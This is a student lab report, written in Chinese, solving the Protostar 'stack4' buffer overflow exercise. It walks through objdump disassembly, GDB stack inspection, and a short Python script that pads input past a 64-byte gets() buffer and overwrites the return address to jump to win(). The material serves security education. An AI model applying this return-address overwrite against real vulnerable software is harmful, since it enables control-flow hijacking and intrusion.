CS3312 Lab Report Stack4

Osamu Takenaka 520030990026

源码分析

x86汇编代码(由objdump得到)：

```
080483f4 <win>:
 80483f4:       55                      push   %ebp
 80483f5:       89 e5                   mov    %esp,%ebp
 80483f7:       83 ec 18                sub    $0x18,%esp
 80483fa:       c7 04 24 e0 84 04 08    movl   $0x80484e0,(%esp)
 8048401:       e8 26 ff ff ff          call   804832c <puts@plt>
 8048406:       c9                      leave
 8048407:       c3                      ret

08048408 <main>:
 8048408:       55                      push   %ebp
 8048409:       89 e5                   mov    %esp,%ebp
 804840b:       83 e4 f0                and    $0xfffffff0,%esp
 804840e:       83 ec 50                sub    $0x50,%esp
 8048411:       8d 44 24 10             lea    0x10(%esp),%eax
 8048415:       89 04 24                mov    %eax,(%esp)
 8048418:       e8 ef fe ff ff          call   804830c <gets@plt>
 804841d:       c9                      leave
 804841e:       c3                      ret
```

C语言源代码：

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
    printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
    char buffer[64];

    gets(buffer);
}
```

这段C程序同样是一个典型的缓冲区溢出漏洞：

我们需要让溢出部分改变函数执行后的返回地址，使得程序跳转到win函数。

变量以及函数位置确定

`buffer`：

通过这句C代码：

```c
gets(buffer);
```

可以定位到汇编中对应的代码为：

```
8048411:       8d 44 24 10             lea    0x10(%esp),%eax
 8048415:       89 04 24                mov    %eax,(%esp)
 8048418:       e8 ef fe ff ff          call   804830c <gets@plt>
```

可以看出，`buffer`数组的开始地址是0x10(%esp)

`win()`：

通过以下关于win函数的汇编代码可以找到`win`函数的地址：

```
080483f4 <win>:
```

`win`函数的地址是0x80483f4

GDB调试

- 接下来我们需要通过gdb，通过查看`%esp`和`%ebp`的值，得到准确的main函数的函数帧内存范围。

  添加断点在main，

  ```
  (gdb) print $esp
  $1 = (void *) 0xffe294b0
  (gdb) print $ebp
  $2 = (void *) 0xffe29508
  ```

  `%esp`的值是`0xffe294b0`，`%ebp`的值是`0xffe29508`

  `buffer`的起始地址是`0xffe294b0 + 0x10 = 0xffe294c0`

通过如下main的汇编代码：

```
08048408 <main>:
8048408:        55                      push   %ebp
8048409:        89 e5                   mov    %esp,%ebp
804840b:        83 e4 f0                and    $0xfffffff0,%esp
804840e:        83 ec 50                sub    $0x50,%esp
```

我们可以计算得到main的函数栈帧的如下示意图（从上至下，地址由大到小，所以这个栈是反着的）：

地址	该地址的内容（大小4Bytes）	备注
0xffe29510		main的上一级函数的栈顶
0xffe2950c	执行完main函数后的返回地址	就是我们需要修改的值，需要令其为win函数的地址
0xffe29508	main的上一级函数的ebp	<- %ebp
0xffe29504	无意义	
0xffe29500	无意义	<- %ebp对齐后指向的地址
0xffe294fc	buffer[60-63]	
...		
0xffe294c4	buffer[4-7]	
0xffe294c0	buffer[0-3]	<- buffer的起始地址
...		
0xffe294b0	下一级调用的函数gets()传递的参数	<- %esp

- 然后，运行 `gets()` 时，为了在打印内存时更容易找到 `buffer` 的区域，我们输入64个'a'，运行完 `gets()` 后，我们打印一下相关内存区域：

```
(gdb) x/24xw $esp
0xffe294b0:     0xffe294c0      0xffe2a866      0xf7d4b679      0xf7ef6808
0xffe294c0:     0x61616161      0x61616161      0x61616161      0x61616161
0xffe294d0:     0x61616161      0x61616161      0x61616161      0x61616161
0xffe294e0:     0x61616161      0x61616161      0x61616161      0x61616161
0xffe294f0:     0x61616161      0x61616161      0x61616161      0x61616161
0xffe29500:     0xf7ef3000      0xf7ef3000      0x00000000      0xf7d33fa1
```

  可以看到大片的 `0x61`，即 `a`，即为buffer的地址区域，为 `0xffe294c0` 至 `0xffe294ff`，我们的计算是正确的。

- 接下来我们需要构造输入，使得 `0xffe2950c` 的值变为 `0x80483f4` (win函数的地址)。

  该系统为小端，所以 `0xffe2950c` 至 `0xffe2950f` 在内存中应该是 `0xf4 0x83 0x04 0x08`（地址从左至右依次增大）。

攻击脚本内容

script_stack4.py:

```
import sys
buffer = b'a' * 76
modified = b'\xf4\x83\x04\x08'
ans = buffer + modified
sys.stdout.buffer.write(ans)
```

在终端中运行：

```
python3 script_stack4.py | ./stack4
```

结果（非GDB环境）

```
root@72419cb1c93b:/opt/protostar/bin# python3 script_stack4.py | ./stack4
code flow successfully changed
Segmentation fault
root@72419cb1c93b:/opt/protostar/bin#
```

攻击成功